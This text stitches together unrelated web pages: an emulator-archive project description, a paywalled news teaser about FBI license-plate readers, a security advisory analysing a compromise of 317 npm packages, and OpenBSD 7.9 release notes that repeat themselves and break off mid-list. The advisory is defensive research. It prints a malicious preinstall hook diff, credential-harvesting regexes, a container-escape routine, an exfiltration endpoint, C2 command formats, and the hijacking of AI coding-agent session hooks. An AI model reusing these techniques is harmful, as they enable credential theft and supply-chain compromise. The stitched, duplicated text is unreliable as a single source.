When I started col­lect­ing em­u­la­tor im­ages (2003), there were only a few small archives of soft­ware im­ages and the cor­re­spond­ing doc­u­men­ta­tion, and rel­a­tively few em­u­la­tors for any­thing other than well-known con­sumer-ori­ented plat­forms. Nowadays there are many large archives of his­tor­i­cal soft­ware and doc­u­men­ta­tion, and a lot of em­u­la­tors for even a lot of very ob­scure plat­forms.

However, while such ef­forts are valu­able when it comes to keep­ing his­tor­i­cal soft­ware avail­able and runnable (and with­out them this pro­ject would have never been pos­si­ble; see the cred­its page for a list of em­u­la­tors, pre-in­stalled im­ages, and me­dia archives I have used), it of­ten still takes time and ef­fort to get runnable VM in­stal­la­tions from them. OSes may have com­pli­cated in­stall pro­ce­dures. Some may de­pend on par­tic­u­lar de­vice con­fig­u­ra­tions within an em­u­la­tor. Some will only run in cer­tain em­u­la­tor ver­sions, break­ing in later ones due to re­gres­sions. Some em­u­la­tors might have com­plex con­fig­u­ra­tion files, or may re­quire a spe­cific en­vi­ron­ment on the host sys­tem.

This pro­ject is an at­tempt to keep reach­able as much of the his­tory that’s been pre­served in var­i­ous places as pos­si­ble. Not the­o­ret­i­cally reach­able. Not bootable in prin­ci­ple if you as­sem­ble the right tool­chain on a Tuesday.” Reachable. You click an en­try, it runs, and where pos­si­ble it runs with soft­ware of the era al­ready loaded the way some­one might ac­tu­ally have used the ma­chine at the time.

The work be­hind it

This is the re­sult of over 20 years of col­lect­ing. OS in­stal­la­tions have been sourced from var­i­ous places. Some have been down­loaded as pre-in­stalled im­ages, whereas oth­ers were in­stalled from im­ages of orig­i­nal in­stall me­dia. Some were in­stalled in less than an hour, whereas oth­ers took al­most a week.

A de­cent num­ber only run in par­tic­u­lar em­u­la­tor ver­sions due to re­gres­sions in later ver­sions, and some em­u­la­tors needed mi­nor patches to run on mod­ern Linux or to play nice with the launcher. A few em­u­la­tors have been patched to run OSes that were pre­vi­ously bro­ken.

Many in­stal­la­tions also in­clude var­i­ous add-on soft­ware - ap­pli­ca­tions, de­vel­op­ment tools, games, util­i­ties, etc. - set up the way it ac­tu­ally might have been used.

This is still far from fin­ished; I have many more im­ages sit­ting around that I have yet to in­stall and em­u­la­tors I want to fix; check out my YouTube chan­nel, blog, or BlueSky to see what I’m cur­rently work­ing on.

Support the pro­ject

This is a per­sonal pro­ject, run and cu­rated by one per­son, sus­tained by pa­tience and time. If you find it in­ter­est­ing, the eas­i­est ways to sup­port it are:

Patreon for on­go­ing sup­port

Ko-fi for one-off con­tri­bu­tions

Discord/Fluxer to talk about it, ask ques­tions, or sug­gest new plat­forms/​OSes to add (new en­tries may not be added im­me­di­ately since I’ve got a lot of stuff to add)

GitLab to sub­mit bug re­ports or patches re­lated to the launcher and scripts

Telling some­one who works on, writes about, or stud­ies the his­tory of com­put­ing that this ex­ists

The FBI Wants to Buy Nationwide Access to License Plate Readers

www.404media.co

The FBI wants to buy ac­cess to au­to­mated li­cense plate read­ers (ALPRs) na­tion­wide, which would likely al­low the agency to track the move­ments of ve­hi­cles—and by ex­ten­sion peo­ple—across the coun­try with­out a war­rant, ac­cord­ing to FBI pro­cure­ment records re­viewed by 404 Media.

The doc­u­ments show that ALPRs con­tinue to be a sought-af­ter tool for law en­force­ment, not just for lo­cal po­lice and in­di­vid­ual com­mu­ni­ties, but fed­eral agen­cies too. The news also comes as protests and push­back against ALPRs have spread around the coun­try.

💡

Do you work at Flock or Motorola? I would love to hear from you. Using a non-work de­vice, you can mes­sage me se­curely on Signal at joseph.404 or send me an email at joseph@404­me­dia.co.

This post is for paid mem­bers only

Become a paid mem­ber for un­lim­ited ad-free ac­cess to ar­ti­cles, bonus pod­cast con­tent, and more.

Subscribe

Sign up for free ac­cess to this post

Free mem­bers get ac­cess to posts like this one along with an email round-up of our week’s sto­ries.

Subscribe

Already have an ac­count? Sign in

Mini Shai-Hulud Strikes Again: 317 npm Packages Compromised

safedep.io

SafeDep Team

• May 19, 2026 • 28 min read

Table of Contents

TL;DR

The npm ac­count atool ([email protected]) was com­pro­mised on May 19, 2026. The at­tacker pub­lished 637 ma­li­cious ver­sions across 317 pack­ages in a 22-minute au­to­mated burst. Affected pack­ages in­clude size-sen­sor (4.2M down­loads/​month), echarts-for-re­act (3.8M), @antv/scale (2.2M), timeago.js (1.15M), and hun­dreds of @antv scoped pack­ages. The pay­load is a 498KB ob­fus­cated Bun script that matches the Mini Shai-Hulud toolkit used in the SAP com­pro­mise three weeks ear­lier: same scan­ner ar­chi­tec­ture, same cre­den­tial regex set, same ob­fus­ca­tion pat­tern. It har­vests cre­den­tials across the full AWS chain (env vars, con­fig files, EC2 IMDS, ECS con­tainer meta­data, Secrets Manager), Kubernetes ser­vice ac­count to­kens, HashiCorp Vault, GitHub PATs, npm to­kens, SSH keys, and lo­cal pass­word man­ager vaults (1Password, Bitwarden, pass, gopass). Stolen data is ex­fil­trated through two par­al­lel chan­nels: Git ob­jects com­mit­ted to pub­lic GitHub repos­i­to­ries cre­ated un­der the com­pro­mised to­ken (User-Agent forged as python-re­quests/​2.31.0), and RSA+AES en­crypted HTTPS POSTs to t.m-kosche[.]com dis­guised as OpenTelemetry trace data. In CI en­vi­ron­ments, the pay­load ex­changes GitHub Actions OIDC to­kens for npm pub­lish to­kens, signs ar­ti­facts via Sigstore (Fulcio + Rekor) us­ing the stolen iden­tity, and in­jects per­sis­tence into .github/workflows/codeql.yml. The pay­load hi­jacks Claude Code and Codex by in­ject­ing SessionStart hooks that re-ex­e­cute the mal­ware on every AI ses­sion, both lo­cally and via com­mits to ac­ces­si­ble GitHub repos­i­to­ries. VS Code gets a tasks.json with runOn”: folderOpen” for the same ef­fect. A per­sis­tent sys­temd ser­vice / ma­cOS LaunchAgent (kitty-monitor) in­stalls a GitHub dead-drop C2 back­door: a Python dae­mon that polls GitHub’s com­mit search API hourly for RSA-PSS signed com­mands in com­mit mes­sages con­tain­ing the key­word firedalazer, then down­loads and ex­e­cutes ar­bi­trary Python from the signed URL. A sep­a­rate gh-to­ken-mon­i­tor dae­mon polls stolen GitHub to­kens at 60-second in­ter­vals. The pay­load also at­tempts Docker con­tainer es­cape via the host socket and prop­a­gates in­fec­tion to other lo­cal Node.js pro­jects.

The at­tack uses two ex­e­cu­tion paths. Each com­pro­mised ver­sion adds a pre­in­stall hook (bun run in­dex.js). 630 of 637 ver­sions also in­ject an op­tion­alDe­pen­den­cies en­try point­ing to im­poster com­mits in the antvis/​G2 GitHub repos­i­tory. These are or­phan com­mits with forged au­thor­ship, in­vis­i­ble in the re­po’s branch his­tory, ex­ploit­ing GitHub’s fork ob­ject shar­ing to host a sec­ond copy of the pay­load with­out any write ac­cess to the tar­get repos­i­tory. npm’s github: de­pen­dency res­o­lu­tion fetches and ex­e­cutes the con­tent by SHA.

Jump to full list of com­pro­mised pack­ages

Impact:

Projects us­ing semver ranges (e.g., ^3.0.6 for echarts-for-re­act) auto-re­solve to com­pro­mised ver­sions

Credential har­vest­ing tar­gets npm to­kens, GitHub PATs, AWS keys (full cre­den­tial chain in­clud­ing EC2 meta­data and ECS con­tainer cre­den­tials), GCP ser­vice ac­counts, Azure cre­den­tials, data­base con­nec­tion strings, Stripe keys, Slack to­kens, SSH keys, Docker auth, Kubernetes ser­vice ac­count to­kens, HashiCorp Vault to­kens, and lo­cal pass­word man­ager vaults (1Password, Bitwarden, pass, gopass)

Dual ex­fil­tra­tion: stolen data is com­mit­ted as Git ob­jects to pub­lic GitHub repos­i­to­ries (User-Agent python-re­quests/​2.31.0) and sent as RSA+AES en­crypted HTTPS POSTs to hxxps://​t.m-kosche[.]com/​api/​pub­lic/​otel/​v1/​traces (disguised as OpenTelemetry traces)

npm OIDC to­ken ex­change in CI al­lows the at­tacker to ob­tain pub­lish to­kens us­ing the pipeline’s own iden­tity

Sigstore sign­ing with stolen OIDC to­kens cre­ates le­git­i­mately-signed ar­ti­facts with forged prove­nance

Docker socket ac­cess en­ables priv­i­leged con­tainer es­cape with host filesys­tem bind mounts

CI/CD per­sis­tence via .github/workflows/codeql.yml in­jec­tion (named Run Copilot”) that dumps to­J­SON(se­crets) as a GitHub Actions ar­ti­fact, then self-cleans by delet­ing the work­flow run and re­set­ting the branch

AI agent hi­jack­ing: Claude Code SessionStart hooks, Codex hooks, and VS Code runOn”: folderOpen” tasks, all trig­ger­ing a Bun boot­strap­per that re-ex­e­cutes the pay­load

Persistent sys­temd user ser­vices and ma­cOS LaunchAgents: kitty-mon­i­tor runs a GitHub dead-drop C2 back­door that ac­cepts RSA-signed re­mote com­mands via GitHub com­mit search; gh-to­ken-mon­i­tor polls stolen to­kens at 60-second in­ter­vals

Local pro­ject in­fec­tion copies pay­load files and hooks into other Node.js pro­jects on the same ma­chine

Redundant pay­load de­liv­ery via GitHub im­poster com­mits sur­vives even if pre­in­stall hooks are blocked

Indicators of Compromise (IoC):

Any pack­age pub­lished by atool ([email protected]) on 2026 – 05-19 be­tween 01:44 and 02:06 UTC

pre­in­stall script: bun run in­dex.js

Payload SHA256: a68d­d1e6a6e35ec3771e1f94fe796f55d­fe65a2b94560516f­f4ac189390d­fa1c

Imposter com­mits in antvis/​G2 (orphan, forged au­thor, mes­sage: New Package”):1916faa365f2788b6e193514872d51a242876569 (626 ver­sions)7cb42f57561c321ecb09b4552802ae0ac55b3a7a (2 ver­sions)dc3d62a2181be­b9f326952a2d212900c94f2e13d (1 ver­sion, garbage col­lected)

1916faa365f2788b6e193514872d51a242876569 (626 ver­sions)

7cb42f57561c321ecb09b4552802ae0ac55b3a7a (2 ver­sions)

dc3d62a2181be­b9f326952a2d212900c94f2e13d (1 ver­sion, garbage col­lected)

Optional de­pen­dency: @antv/setup: github:antvis/​G2#<com­mit-sha>

Exfiltration repos­i­to­ries match­ing the Dune-themed nam­ing pat­tern {word1}-{word2}-{number} where word1 is one of: sar­daukar, men­tat, fre­men, atrei­des, harkon­nen, gesserit, pre­scient, fe­daykin, tleilaxu, siri­dar, kanly, sayyad­ina, ghola, powin­dah, prana, kral­izec; word2 is one of: sand­worm, or­nithopter, heigh­liner, still­suit, las­gun, si­etch, melange, thumper, nav­i­ga­tor, fe­daykin, fu­tar, phib­ian, slig, cog­i­tor, laza, ghola; num­ber is 0 – 999. Description: Shai-Hulud: Here We Go Again” (reversed in source)

HTTPS ex­fil­tra­tion to hxxps://​t.m-kosche[.]com/​api/​pub­lic/​otel/​v1/​traces (RSA+AES en­crypted, dis­guised as OpenTelemetry traces)

HTTP re­quests to 169.254.169.254 (EC2 meta­data) and 169.254.170.2 (ECS con­tainer meta­data)

Branches named chore/​add-cod­eql-sta­tic-analy­sis in repos­i­to­ries ac­ces­si­ble to com­pro­mised to­kens

.github/workflows/codeql.yml with work­flow name Run Copilot that dumps to­J­SON(se­crets) to for­mat-re­sults.txt

.claude/settings.json con­tain­ing SessionStart hooks run­ning node .claude/setup.mjs

.vscode/tasks.json with runOn”: folderOpen” tasks call­ing .claude/setup.mjs

.claude/setup.mjs or .vscode/setup.mjs (Bun boot­strap­per, down­loads bun v1.3.14 from GitHub)

Systemd user ser­vice kitty-mon­i­tor.ser­vice or LaunchAgent com.user.kitty-mon­i­tor.plist

gh-to­ken-mon­i­tor dae­mon at ~/.local/bin/gh-token-monitor.sh

Files at ~/.local/share/kitty/cat.py (GitHub dead-drop C2 back­door)

State file /var/tmp/.gh_update_state (C2 ex­e­cu­tion track­ing)

GitHub com­mits con­tain­ing the key­word firedalazer (C2 com­mand trig­ger)

RSA-PSS signed com­mands in com­mit mes­sages: firedalazer <base64_url>.<base64_signature>

If you are au­dit­ing lock­files or re­in­stalling on af­fected ma­chines, Package Manager Guard (pmg) is an open-source in­stall proxy that eval­u­ates pack­ages against threat in­tel­li­gence be­fore pre­in­stall scripts run. Its de­pen­dency cooldown can refuse ver­sions pub­lished in­side a con­fig­urable win­dow, which helps against bursts like the May 19 wave where semver ranges were still re­solv­ing to freshly pub­lished ma­li­cious re­leases.

Analysis

Account Compromise and Blast Radius

The atool npm ac­count main­tains 547 pack­ages. The at­tacker pub­lished 637 ma­li­cious ver­sions across 314 of those pack­ages in two au­to­mated waves, both on May 19, 2026:

Most pack­ages (309) re­ceived ex­actly 2 ma­li­cious ver­sions, one per wave. Four pack­ages (size-sensor, echarts-for-re­act, jest-can­vas-mock, jest-date-mock) re­ceived 3 ver­sions, sug­gest­ing they were used for early test­ing be­fore the bulk pub­lish.

A sam­ple of the high­est-im­pact af­fected pack­ages:

The at­tacker did not move the lat­est dist-tag on most pack­ages. For echarts-for-re­act, lat­est still points to 3.0.6. This pro­vides no pro­tec­tion: npm’s semver res­o­lu­tion picks the high­est ver­sion match­ing a range, re­gard­less of the lat­est tag. Any pro­ject with echarts-for-react”: ^3.0.6″ in its pack­age.json re­solves to 3.2.7 (malicious) on the next clean in­stall.

Execution Trigger

Every com­pro­mised ver­sion makes ex­actly two changes to pack­age.json:

// pack­age.json diff (size-sensor 1.0.3 → 1.1.4) version”: 1.0.3″, version”: 1.1.4″, scripts”: { … build”: npm run build:umd && npm run build:lib && limit-size” build”: npm run build:umd && npm run build:lib && limit-size”, preinstall”: bun run in­dex.js” }, optionalDependencies”: { @antv/setup”: github:antvis/G2#1916faa365f2788b6e193514872d51a242876569″ },

// pack­age.json diff (size-sensor 1.0.3 → 1.1.4)

version”: 1.0.3″,

version”: 1.1.4″,

scripts”: {

build”: npm run build:umd && npm run build:lib && limit-size”

build”: npm run build:umd && npm run build:lib && limit-size”,

preinstall”: bun run in­dex.js”

},

optionalDependencies”: {

@antv/setup”: github:antvis/G2#1916faa365f2788b6e193514872d51a242876569″

},

The pre­in­stall hook runs be­fore any de­pen­dency in­stal­la­tion and re­quires Bun as the run­time. 630 of the 637 ma­li­cious ver­sions also in­ject an op­tion­alDe­pen­den­cies en­try that de­liv­ers a sec­ond copy of the pay­load via the le­git­i­mate antvis/​G2 GitHub repos­i­tory (see Imposter Commits in antvis/​G2 be­low).

Malicious Payload

The in­dex.js file is a sin­gle-line, 498KB ob­fus­cated Bun bun­dle. The struc­ture is a di­rect match with the Mini Shai-Hulud pay­load from the SAP com­pro­mise three weeks ear­lier: same Bun run­time re­quire­ment, same hex-vari­able ob­fus­ca­tion pat­tern, same scan­ner ar­chi­tec­ture with a 100KB flush thresh­old, same cre­den­tial regex set. The pay­load uses two lay­ers of ob­fus­ca­tion: a hex-vari­able string lookup table (_0x1169 re­solv­ing from ar­ray _0x5e03) and an en­crypted string de­coder (fc2edea72) that uses base64 + XOR for all sen­si­tive strings like en­vi­ron­ment vari­able names, file paths, and C2 URLs.

The im­ports re­veal the full scope of ca­pa­bil­i­ties:

// in­dex.js — ex­tracted im­port state­mentsim­port { ex­ec­Sync } from child_process’;import { spawn } from child_process’;import { home­dir } from os’;import { read­File, read­File­Sync, write­File­Sync, cre­ateWriteStream } from fs’;import { cre­ate­Hash, cre­at­eDe­ci­pheriv, pbkd­f2­Sync, gen­er­ateKey­Pair­Sync, sign } from crypto’;import { pipeline } from stream/promises’;

// in­dex.js — ex­tracted im­port state­ments

im­port { ex­ec­Sync } from child_process’;

im­port { spawn } from child_process’;

im­port { home­dir } from os’;

im­port { read­File, read­File­Sync, write­File­Sync, cre­ateWriteStream } from fs’;

im­port { cre­ate­Hash, cre­at­eDe­ci­pheriv, pbkd­f2­Sync, gen­er­ateKey­Pair­Sync, sign } from crypto’;

im­port { pipeline } from stream/promises’;

The pay­load’s main func­tion J2() or­ches­trates the at­tack through a scan­ner ar­chi­tec­ture. It in­stan­ti­ates mul­ti­ple scan­ner classes, each tar­get­ing a dif­fer­ent cre­den­tial type, and dis­patches re­sults through a batched sender (Po) with a 100KB flush thresh­old. A CI en­vi­ron­ment de­tec­tion mod­ule checks for 20+ plat­forms via en­vi­ron­ment vari­ables: GitHub Actions (GITHUB_ACTIONS), Jenkins (JENKINS_URL, JENKINS_HOME), GitLab CI (GITLAB_CI), CircleCI (CIRCLECI), Travis (TRAVIS), Buildkite (BUILDKITE), Drone (DRONE), TeamCity (TEAMCITY_VERSION), AppVeyor (APPVEYOR), Bitbucket Pipelines (BITBUCKET_BUILD_NUMBER), Bitrise (BITRISE_IO), Semaphore (SEMAPHORE), CodeBuild (CODEBUILD_BUILD_ID), Azure DevOps (BUILD_BUILDURI), Cirrus CI (CIRRUS_CI), Netlify (NETLIFY), Vercel (VERCEL), CF Pages (CF_PAGES), Buddy (BUDDY_WORKSPACE_ID), Vela (VELA), Screwdriver (SCREWDRIVER), SailCI (SAILCI), Wercker (WERCKER_MAIN_PIPELINE_STARTED), Shippable (SHIPPABLE), Distelli (DISTELLI_APPNAME), and JetBrains Space (JB_SPACE_EXECUTION_NUMBER). When run­ning in GitHub Actions, ad­di­tional data col­lec­tion ac­ti­vates: work­flow runs, ar­ti­facts, se­crets meta­data, and OIDC to­ken ex­change.

Credential Harvesting

The pay­load reads 80+ en­vi­ron­ment vari­ables (all names en­crypted via fc2edea72) and scans file con­tents us­ing regex pat­terns. The regex set re­veals what the at­tacker is af­ter:

// in­dex.js — cre­den­tial de­tec­tion pat­terns (extracted from scan­ner classes)‘ghto­ken’: /gh[op]_[A-Za-z0 – 9]{36,}/g,‘npmtoken’: /npm_[A-Za-z0 – 9]{36,}/g,‘ghs_jwt’: /ghs_\d+_[A-Za-z0 – 9_-]+\.[A-Za-z0 – 9_-]+\.[A-Za-z0 – 9_-]+/g,‘awskey’: /(AKIA[0 – 9A-Z]{16}|aws_access_key_id[“\s:=]+[“’]?[A-Z0 – 9]{20})/g,‘gcpKey’: /* en­crypted — tar­gets GCP ser­vice ac­count keys */,‘azureKey’: /(AccountKey|accessKey|client_secret)[“\s:=]+[“’]?[A-Za-z0 – 9+/=]{40,}/gi,‘dbConnStr’:/(mongodb|mysql|postgresql|postgres|redis):\/\/[^:\s]+:[^@\s]+@[^\s’“]+/gi,‘stripeKey’:/(sk|pk)_(test|live)_[0 – 9a-zA-Z]{24,}/g,‘slackToken’: /* en­crypted */,‘sshKey’: /ssh-(rsa|ed25519|dss) AAAA[0 – 9A-Za-z+\/]{100,}/g,‘dockerAuth’:/“auth”:\s*“[A-Za-z0 – 9+\/=]{20,}“/g,‘vaultToken’:/hvs\.[A-Za-z0 – 9_-]{24,}/g,‘k8stoken’: /eyJhbGciOiJSUzI1NiIsImtpZCI6[\w\-\.]+/g,‘urlCred’: /https?:\/\/[^:“‘\s]+:[^@“‘\s]+@[^\s’“\]]+/g

// in­dex.js — cre­den­tial de­tec­tion pat­terns (extracted from scan­ner classes)

ghtoken’: /gh[op]_[A-Za-z0 – 9]{36,}/g,

npmtoken’: /npm_[A-Za-z0 – 9]{36,}/g,

ghs_jwt’: /ghs_\d+_[A-Za-z0 – 9_-]+\.[A-Za-z0 – 9_-]+\.[A-Za-z0 – 9_-]+/g,

awskey’: /(AKIA[0 – 9A-Z]{16}|aws_access_key_id[“\s:=]+[“’]?[A-Z0 – 9]{20})/g,

gcpKey’: /* en­crypted — tar­gets GCP ser­vice ac­count keys */,

azureKey’: /(AccountKey|accessKey|client_secret)[“\s:=]+[“’]?[A-Za-z0 – 9+/=]{40,}/gi,

dbConnStr’:/(mongodb|mysql|postgresql|postgres|redis):\/\/[^:\s]+:[^@\s]+@[^\s’“]+/gi,

stripeKey’:/(sk|pk)_(test|live)_[0 – 9a-zA-Z]{24,}/g,

slackToken’: /* en­crypted */,

sshKey’: /ssh-(rsa|ed25519|dss) AAAA[0 – 9A-Za-z+\/]{100,}/g,

dockerAuth’:/“auth”:\s*“[A-Za-z0 – 9+\/=]{20,}“/g,

vaultToken’:/hvs\.[A-Za-z0 – 9_-]{24,}/g,

k8stoken’: /eyJhbGciOiJSUzI1NiIsImtpZCI6[\w\-\.]+/g,

urlCred’: /https?:\/\/[^:“‘\s]+:[^@“‘\s]+@[^\s’“\]]+/g

The scan­ner also parses AWS STS iden­tity re­sponses, ex­tract­ing <Account> and <Arn> XML tags from GetCallerIdentity calls.

A sep­a­rate file-scan­ning class (zo) reads sen­si­tive paths from the home di­rec­tory. The tar­geted paths are en­crypted via fc2edea72, but the code ref­er­ences a LINUX key in the path map and re­solves ~ via os.home­dir(), tar­get­ing stan­dard cre­den­tial lo­ca­tions: .ssh, .aws/credentials, .npmrc, .docker/config.json, .kube/config, and sim­i­lar paths.

Docker Container Escape

The pay­load checks for the Docker socket and, if pre­sent, at­tempts con­tainer es­cape through three se­quen­tial meth­ods:

// in­dex.js — de­ob­fus­cated at­tack chaina­sync func­tion S1() { if (await P2()) re­turn true; // Direct Docker API: cre­ate con­tainer if (await W2()) re­turn true; // Docker API: cre­ate + start con­tainer if (await K2()) re­turn true; // ex­ec­Sync fall­back re­turn false;}

OpenBSD 7.9

www.openbsd.org

7.9 Song: Diamond in the Rough” Artwork by Lyra Henderson.

See the in­for­ma­tion on the FTP page for a list of mir­ror ma­chines.

Go to the pub/​OpenBSD/​7.9/ di­rec­tory on one of the mir­ror sites.

Have a look at the 7.9 er­rata page for a list of bugs and workarounds.

See a de­tailed log of changes be­tween the 7.8 and 7.9 re­leases.

sig­nify(1) pub­keys for this re­lease:

openbsd-79-base.pub:

RWTSdNN9A3yvWNn7mUjXwv9DOCOUnyfuV+mq1iGPIfD+NhN8EYnEQ1at openbsd-79-fw.pub:

RWQdmBb/OCe1hXE08xCj5VLnBpGpphy7kYPdU3oWyfnrwswjtl8K385E

openbsd-79-pkg.pub:

RWSw1kDLJJy6OYgnayEMReLV57z2rzx5jYNCghO+2ARwqd6KuwGFWSn7

openbsd-79-sys­patch.pub:

RWTJmz/ur68S9e26/JVRr7T88lAPZIF3YgZ3w2lDnf/frAxTerC/DrZ6

All ap­plic­a­ble copy­rights and cred­its are in the src.tar.gz, sys.tar.gz, xeno­cara.tar.gz, ports.tar.gz files, or in the files fetched via ports.tar.gz.

What’s New

This is a par­tial list of new fea­tures and sys­tems in­cluded in OpenBSD 7.9. For a com­pre­hen­sive list, see the changelog lead­ing to 7.9.

Platform-specific im­prove­ments:

ar­m64:

Enabled ice(4) on ar­m64. Added sup­port for the RK3588 and RK3576 SoCs with new or ad­di­tions to ex­ist­ing dri­vers. Added sup­port for the Genesys Logic GL9755 SDHC con­troller (which in­cludes the SDHC con­troller on some of the Apple Silicon lap­tops) to sd­mmc(4).

amd64:

Added SMU sup­port to amdpmc(4). The SMU is a mi­cro­con­troller buried deep in the bow­els of AMD SoCs and needs to be tick­led in or­der to reach the low­est power states in sus­pend. Disabled Panel Self Refresh (PSR) in amdgpu to avoid a po­ten­tial hang on a ThinkPad X13 gen 6. Increased MAXCPUs on amd64 to 255. On amd64, we now zero the DM PTE/PDE pages be­fore use. This fixes a bug on ma­chines with more than 512GB RAM. Mitigated float­ing point state leak­age ob­served on AMD Zen/Zen+ (Zen 1).

lu­na88k:

Switched lu­na88k com­piler to gcc4. Switched lu­na88k to PIE (Position Independent Executables) by de­fault.

riscv64: Systems with a SpacemiT K1 SoC gained sup­port with the fol­low­ing (and more) changes:

Added smt­clock(4), a dri­ver for the clock/​re­set con­troller on the SpacemiT K1 SoC. Added many more dri­vers to sup­port the SpacemiT K1 SoC. Implemented sup­port for the Zicbom (Cache-Block Management) and Svpbmt (Page-Based Memory Types) ex­ten­sions. Added the SpacemiT K1 de­vice trees onto the riscv64 mini­root mak­ing them ac­ces­si­ble dur­ing in­stal­la­tion. Made Instruction ac­cess fault” (EXCP_FAULT_FETCH) traps be­ing treated as PROT_EXEC. This fixes ran­dom SIGSEGV on the SpacemiT X60 cores. Added SpacemiT K1 sup­port to dw­p­cie(4).

Other ar­chi­tec­tures:

Fixed var­i­ous er­rors on big-en­dian sys­tems in ice(4) to make it work on spar­c64. Changed pow­er­pc64 mem­ory bar­ri­ers to sync”. Reworked and im­proved TLB shoot­down on al­pha. Hoisted mip­s64 CPU ac­count­ing to get mul­ti­ple soft­net threads on MP sys­tems. Made sure to ini­tial­ize all FPU reg­is­ters on spar­c64 to all 1 (or -NaN), and not only the lower 32 reg­is­ters. Fixed park­ing mu­tex on sun4u spar­c64 cpus.

More plat­form-spe­cific changes can be found in the hard­ware sup­port sec­tion be­low.

ar­m64:

Enabled ice(4) on ar­m64. Added sup­port for the RK3588 and RK3576 SoCs with new or ad­di­tions to ex­ist­ing dri­vers. Added sup­port for the Genesys Logic GL9755 SDHC con­troller (which in­cludes the SDHC con­troller on some of the Apple Silicon lap­tops) to sd­mmc(4).

Enabled ice(4) on ar­m64.

Added sup­port for the RK3588 and RK3576 SoCs with new or ad­di­tions to ex­ist­ing dri­vers.

Added sup­port for the Genesys Logic GL9755 SDHC con­troller (which in­cludes the SDHC con­troller on some of the Apple Silicon lap­tops) to sd­mmc(4).

amd64:

Added SMU sup­port to amdpmc(4). The SMU is a mi­cro­con­troller buried deep in the bow­els of AMD SoCs and needs to be tick­led in or­der to reach the low­est power states in sus­pend. Disabled Panel Self Refresh (PSR) in amdgpu to avoid a po­ten­tial hang on a ThinkPad X13 gen 6. Increased MAXCPUs on amd64 to 255. On amd64, we now zero the DM PTE/PDE pages be­fore use. This fixes a bug on ma­chines with more than 512GB RAM. Mitigated float­ing point state leak­age ob­served on AMD Zen/Zen+ (Zen 1).

Added SMU sup­port to amdpmc(4). The SMU is a mi­cro­con­troller buried deep in the bow­els of AMD SoCs and needs to be tick­led in or­der to reach the low­est power states in sus­pend.

Disabled Panel Self Refresh (PSR) in amdgpu to avoid a po­ten­tial hang on a ThinkPad X13 gen 6.

Increased MAXCPUs on amd64 to 255.

On amd64, we now zero the DM PTE/PDE pages be­fore use. This fixes a bug on ma­chines with more than 512GB RAM.

Mitigated float­ing point state leak­age ob­served on AMD Zen/Zen+ (Zen 1).

lu­na88k:

Switched lu­na88k com­piler to gcc4. Switched lu­na88k to PIE (Position Independent Executables) by de­fault.

Switched lu­na88k com­piler to gcc4.

Switched lu­na88k to PIE (Position Independent Executables) by de­fault.

riscv64: Systems with a SpacemiT K1 SoC gained sup­port with the fol­low­ing (and more) changes:

Added smt­clock(4), a dri­ver for the clock/​re­set con­troller on the SpacemiT K1 SoC. Added many more dri­vers to sup­port the SpacemiT K1 SoC. Implemented sup­port for the Zicbom (Cache-Block Management) and Svpbmt (Page-Based Memory Types) ex­ten­sions. Added the SpacemiT K1 de­vice trees onto the riscv64 mini­root mak­ing them ac­ces­si­ble dur­ing in­stal­la­tion. Made Instruction ac­cess fault” (EXCP_FAULT_FETCH) traps be­ing treated as PROT_EXEC. This fixes ran­dom SIGSEGV on the SpacemiT X60 cores. Added SpacemiT K1 sup­port to dw­p­cie(4).

Added smt­clock(4), a dri­ver for the clock/​re­set con­troller on the SpacemiT K1 SoC.

Added many more dri­vers to sup­port the SpacemiT K1 SoC.

Implemented sup­port for the Zicbom (Cache-Block Management) and Svpbmt (Page-Based Memory Types) ex­ten­sions.

Added the SpacemiT K1 de­vice trees onto the riscv64 mini­root mak­ing them ac­ces­si­ble dur­ing in­stal­la­tion.

Made Instruction ac­cess fault” (EXCP_FAULT_FETCH) traps be­ing treated as PROT_EXEC. This fixes ran­dom SIGSEGV on the SpacemiT X60 cores.

Added SpacemiT K1 sup­port to dw­p­cie(4).

Other ar­chi­tec­tures:

Fixed var­i­ous er­rors on big-en­dian sys­tems in ice(4) to make it work on spar­c64. Changed pow­er­pc64 mem­ory bar­ri­ers to sync”. Reworked and im­proved TLB shoot­down on al­pha. Hoisted mip­s64 CPU ac­count­ing to get mul­ti­ple soft­net threads on MP sys­tems. Made sure to ini­tial­ize all FPU reg­is­ters on spar­c64 to all 1 (or -NaN), and not only the lower 32 reg­is­ters. Fixed park­ing mu­tex on sun4u spar­c64 cpus.

Fixed var­i­ous er­rors on big-en­dian sys­tems in ice(4) to make it work on spar­c64.

Changed pow­er­pc64 mem­ory bar­ri­ers to sync”.

Reworked and im­proved TLB shoot­down on al­pha.

Hoisted mip­s64 CPU ac­count­ing to get mul­ti­ple soft­net threads on MP sys­tems.

Made sure to ini­tial­ize all FPU reg­is­ters on spar­c64 to all 1 (or -NaN), and not only the lower 32 reg­is­ters.

Fixed park­ing mu­tex on sun4u spar­c64 cpus.

More plat­form-spe­cific changes can be found in the hard­ware sup­port sec­tion be­low.

Various ker­nel im­prove­ments:

Introduced a mech­a­nism to man­age CPU cores with dif­fer­ent speeds in the sched­uler. The sysctl(8) vari­able hw.blockcpu” takes a se­quence of 4 let­ters: S (for SMT), P (regular per­for­mance CPU), E (efficient CPU, gen­er­ally 80% to 50% as fast), and L (lethargic CPU) which are even slower. Set this to se­lect CPUs to kick out of the sched­uler (SL by de­fault). Currently works on amd64 and ar­m64. Replaced the cas spin­lock in ker­nel mu­texes with a parking” lock. Stopped forc­ing the page dae­mon to sleep when there are out­stand­ing pag­ing re­quests. Implemented a ddb(4) stop com­mand that sends a SIGSTOP to the spec­i­fied pid. Made ddb(4) out­put vis­i­ble when en­ter­ing ddb from X on amdgpu. Added in­fra­struc­ture to al­low fu­ture sup­port of up to 52 par­ti­tions per disk. Made changes to avoid mem­ory al­lo­ca­tion from within the swapen­crypt path of the pagedae­mon by pre-al­lo­cat­ing 32 swap­clus­ters up-front. Changed the strat­egy by which the pagedae­mon cre­ates free mem­ory by over­shoot­ing the cre­ation of in­ac­tive and free pages, in or­der to de­frag­ment mem­ory. Refuse to load a bi­nary with­out a PT_LOAD exec seg­ment.

Introduced a mech­a­nism to man­age CPU cores with dif­fer­ent speeds in the sched­uler. The sysctl(8) vari­able hw.blockcpu” takes a se­quence of 4 let­ters: S (for SMT), P (regular per­for­mance CPU), E (efficient CPU, gen­er­ally 80% to 50% as fast), and L (lethargic CPU) which are even slower. Set this to se­lect CPUs to kick out of the sched­uler (SL by de­fault). Currently works on amd64 and ar­m64.

Replaced the cas spin­lock in ker­nel mu­texes with a parking” lock.

Stopped forc­ing the page dae­mon to sleep when there are out­stand­ing pag­ing re­quests.

